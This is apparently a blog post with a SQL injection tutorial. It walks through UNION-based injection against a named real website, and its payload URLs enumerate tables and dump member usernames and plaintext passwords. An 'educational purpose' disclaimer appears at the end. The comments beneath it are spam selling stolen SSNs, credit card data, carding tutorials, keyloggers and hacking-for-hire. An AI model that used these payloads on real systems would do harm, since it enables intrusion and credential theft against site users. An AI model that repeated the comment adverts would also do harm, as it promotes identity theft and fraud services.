sql injection tutorial with examples

SQL INJECTION:
SQL injection is a code injection technique that exploits a security vulnerability occurring in the database layer of an application. The vulnerability is present when user
input is either incorrectly filtered for string literal escape characters embedded in SQL statements or user input is not strongly typed and thereby unexpectedly executed.
It is an instance of a more general class of vulnerabilities that can occur whenever one programming or scripting language is embedded inside another.


Imagine that you found this site:

http://www.guitarists.net/



Now 1st of all we need to Find the url like this to test sql injection.

id=xyz



Okay suppose we are going with this url

http://www.guitarists.net/links/list.php?id=253



To test the file that has the variable list.php id badly planned, and if we fit in a simple, 'and give us an error identical to that

http://www.guitarists.net/links/list.php?id=253



'



Error:

Quote:
Fatal error: Call to undefined method DB_Error::numRows() in /home/gnet/public_html/links/list.php on line 57


Now we will explore it.


The First Step of all, and find out how many columns have, as we get the correct column, we'll see something different


Code:
Code:
-1+union+select+



This is the basic syntax for this example of attack, but of course you can be
done differently, but I find this easier to start.

Keep Adding Numbers to guess the Correct colunms like this

http://www.guitarists.net/links/list.php?id=-1+union+select+0-- No results
http://www.guitarists.net/links/list.php?id=-1+union+select+0,1-- No results
http://www.guitarists.net/links/list.php?id=-1+union+select+0,1,2-- No results
http://www.guitarists.net/links/list.php?id=-1+union+select+0,1,2,3-- No results
http://www.guitarists.net/links/list.php?id=-1+union+select+0,1,2,3,4-- [(:]



Beat the SQL error here, here and found that the web, has 4 columns!

Also appears to us the number 1, that is, we know that the column 1 are vulnerable, and it is through them that we are going for a steal information
So now we know, we have 4 columns and column 1 is vulnerable, we will use.

Information_Schema.Tables

table_name & information_schema.tables--



It helps us to Find the table names. Now our Link Would be Like This

http://www.guitarists.net/links/list.php?id=-1+union+select+0,table_name,2,3,4+from+information_schema.tables--



Replacing the vulnerable column 1 in the string table_name.


Note: Here you can see all table, but not always that happens in certain websites, so we can see one by one, and for this you use the term +limit+*,1--

Like:

http://www.henleystandard.co.uk/news/news.php?id=-1+union+select+1,2,3,4,5,6,table_name,8,9,10+from+information_schema.tables+limit+0,1--
...



Well continuing with our web ...

http://www.guitarists.net/links/list.php?id=-1+union+select+0,table_name,2,3,4+from+information_schema.tables--



As we can see there are a lot of tables, but have doubt, is the table members! because we have to stole data from members. admin, administrators etc.

As we can see there is no table like Administrator or admin so now we will try to Explore members and check it What info it has
Now we need to see the columns that the table has for so we used the syntax.

column_name &
information_schema.columns



And our url will be like this.

http://www.guitarists.net/links/list.php?id=-1+union+select+0,column_name,2,3,4+from+information_schema.columns+where+table_name=char(109,101,109,98,101,114,115)--



Don't confuse going to Explain it now :-j

+where ---> Where?
+table_name= ---> Name of Table?
char() ---> Name of Table in ASCII


e.g:

Code:

Code:
m = 109
e = 101
m = 109
b = 98
e = 101
r = 114
s = 115



Google it "Table in ASCII" you will get the whole table.

Well, now let's find out what we see in

http://www.guitarists.net/links/list.php?id=-1+union+select+0,column_name,2,3,4+from+information_schema.columns+where+table_name=char(109,101,109,98,101,114,115)--



w0w we succeeded to grab the required info.

Cheers!!

Well, what interests us and the column

Login and password that it is ..

Well, now we make the final injection, the data to steal login and password

The injection is made of the following way ..

To see Login:

http://www.guitarists.net/links/list.php?id=-1+union+select+0,strUsername,2,3,4+from+members--



To see Passwords:

http://www.guitarists.net/links/list.php?id=-1+union+select+0,strPassword,2,3,4+from+members--



There is a much simpler method, which is to see everything
at the same time using the syntax.

concat( )



well, concat serves to unite all at once, then our url would be like this:

http://www.guitarists.net/links/list.php?id=-1+union+select+0,concat(strUsername,0x3a,strPassword),2,3,4+from+members--



Quote
0x3a -> Hexadecimal code, used to insert : between one and another, not to be confused


All Passwords are in text-plain not in hash!

Hope this tutorial helps you to learn sql injection. And to understand different techniques related to sql injection.

This Tutorial is Written for Educational purpose, I am not responsible if anyone use it for illegal purpose.

6 comments:

  1. Hey Guys !

    USA Fresh & Verified SSN Leads with DL Number AVAILABLE with 99.9% connectivity
    All Leads have genuine & valid information

    **HEADERS IN LEADS**
    First Name | Last Name | SSN | Dob | DL Number | Address | City | State | Zip | Phone Number | Account Number | Bank Name | Employee Details | IP Address

    *Price for SSN lead $2
    *You can ask for sample before any deal
    *If anyone buy in bulk, we can negotiate
    *Sampling is just for serious buyers

    ==>ACTIVE, FRESH CC & CVV FULLZ AVAILABLE<==
    ->$5 PER EACH

    ->Hope for the long term deal
    ->Interested buyers will be welcome

    **Contact 24/7**
    Whatsapp > +923172721122
    Email > leads.sellers1212@gmail.com
    Telegram > @leadsupplier
    ICQ > 752822040

    ReplyDelete
  2. i was lost with no hope for my wife was cheating and had always got away with it because i did not know how or

    always too scared to pin anything on her. with the help a friend who recommended me to who help hack her phone,

    email, chat, sms and expose her for a cheater she is. I just want to say a big thank you to

    SUPERIOR.HACK@GMAIL.COM . am sure someone out there is looking for how to solve his relationship problems, you can also contact him for all sorts of hacking job..he is fast and reliable. you could also text +1 213-295-1376(whatsapp) contact and thank me later

    ReplyDelete
  3. Hi Guy's

    Fresh & valid spammed USA SSN+Dob Leads with DL available in bulk.

    >>1$ each SSN+DOB
    >>2$ each with SSN+DOB+DL
    >>5$ each for premium (also included relative info)

    Prices are negotiable in bulk order
    Serious buyer contact me no time wasters please
    Bulk order will be preferable

    CONTACT
    Telegram > @leadsupplier
    ICQ > 752822040
    Email > leads.sellers1212@gmail.com

    OTHER STUFF YOU CAN GET

    SSN+DOB Fullz
    CC's with CVV's (vbv & non-vbv)
    USA Photo ID'S (Front & back)

    All type of tutorials available
    (Carding, spamming, hacking, scam page, Cash outs, dumps cash outs)

    SMTP Linux Root
    DUMPS with pins track 1 and 2
    Socks, rdp's, vpn's
    Server I.P's
    HQ Emails with passwords

    Looking for long term business
    For trust full vendor, feel free to contact

    CONTACT
    Telegram > @leadsupplier
    ICQ > 752822040
    Email > leads.sellers1212@gmail.com

    ReplyDelete
  4. LEGIT FULLZ & TOOLS STORE

    Hello to All !

    We are offering all types of tools & Fullz on discounted price.
    If you are in search of anything regarding fullz, tools, tutorials, Hack Pack, etc
    Feel Free to contact

    ***CONTACT 24/7***
    **Telegram > @leadsupplier
    **ICQ > 752822040
    **Skype > Peeterhacks
    **Wicker me > peeterhacks

    "SSN LEADS/FULLZ AVAILABLE"
    "TOOLS & TUTORIALS AVAILABLE FOR HACKING, SPAMMING,
    CARDING, CASHOUT, CLONING, SCRIPTING ETC"

    **************************************
    "Fresh Spammed SSN Fullz info included"
    >>SSN FULLZ with complete info
    >>CC With CVV Fullz USA
    >>FULLZ FOR SBA, PUA & TAX RETURN FILLING
    >>USA I.D Photos Front & Back
    >>High Credit Score fullz (700+ Scores)
    >>DL number, Employee Details, Bank Details Included
    >>Complete Premium Info with Relative Info

    ***************************************
    COMPLETE GUIDE FOR TUTORIALS & TOOLS

    "SPAMMING" "HACKING" "CARDING" "CASH OUT"
    "KALI LINUX" "BLOCKCHAIN BLUE PRINTS" "SCRIPTING"
    "FRAUD BIBLE"

    "TOOLS & TUTORIALS LIST"
    =>Ethical Hacking Ebooks, Tools & Tutorials
    =>Bitcoin Hacking
    =>Kali Linux
    =>Fraud Bible
    =>RAT
    =>Keylogger & Keystroke Logger
    =>Whatsapp Hacking & Hacked Version of Whatsapp
    =>Facebook & Google Hacking
    =>Bitcoin Flasher
    =>SQL Injector
    =>Premium Logs (PayPal/Amazon/Coinbase/Netflix/FedEx/Banks)
    =>Bitcoin Cracker
    =>SMTP Linux Root
    =>Shell Scripting
    =>DUMPS with pins track 1 and 2 with & without pin
    =>SMTP's, Safe Socks, Rdp's brute
    =>PHP mailer
    =>SMS Sender & Email Blaster
    =>Cpanel
    =>Server I.P's & Proxies
    =>Viruses & VPN's
    =>HQ Email Combo (Gmail, Yahoo, Hotmail, MSN, AOL, etc.)

    *Serious buyers will always welcome
    *Price will be reduce in bulk order
    *Discount offers will gives to serious buyers
    *Hope we do a great business together

    ===>Contact 24/7<===
    ==>Telegram > @leadsupplier
    ==>ICQ > 752822040
    ==>Skype > Peeterhacks
    ==>Wicker me > peeterhacks

    ReplyDelete
  5. USA Fullz Database Bulk Quantity Available
    Complete info with SSN DOB DL Employee Details
    High Credit Scores Fullz USA
    Credit Cards & DUMPS (TRACK 101 & 202)

    752-822-040 I-C-Q
    +92-317-272-1122 Whats-app
    @killhacks Tele-Gram

    Complete Tutorial Guides with Ebooks
    All Tools regarding hac-king Services, Sp-am-ming Services
    Card-ing Complete Course with free CC Samples
    SHELLS/C-Panels,
    WEB MAILERS
    Spoofing
    KE-YLOG-GERS
    RA-TS for Hac-ks
    LiNUX with TerMux
    DA-RK W-E-B Guide with Course
    Contact:

    752-822-040 I-C-Q
    @killhacks Tel-eGram

    ReplyDelete
  6. Fullz/Pros/Leads

    SSN DOB
    SSN DOB DL
    High CS Fullz

    Fresh Spammed CC's
    Many other leads & stuff

    Spamming, Hacking, Carding Stuff
    Legit stuff with Guarantee

    Loan methods/Carding methods
    All Hack Tools
    Tutorials
    Mailers
    Brutes

    & many more

    What's app +92 317 2721122
    Tele.gram @leadsupplier
    ICQ 752822040
    exploit.Tools4U AT GMAIL (DOT) COM

    ReplyDelete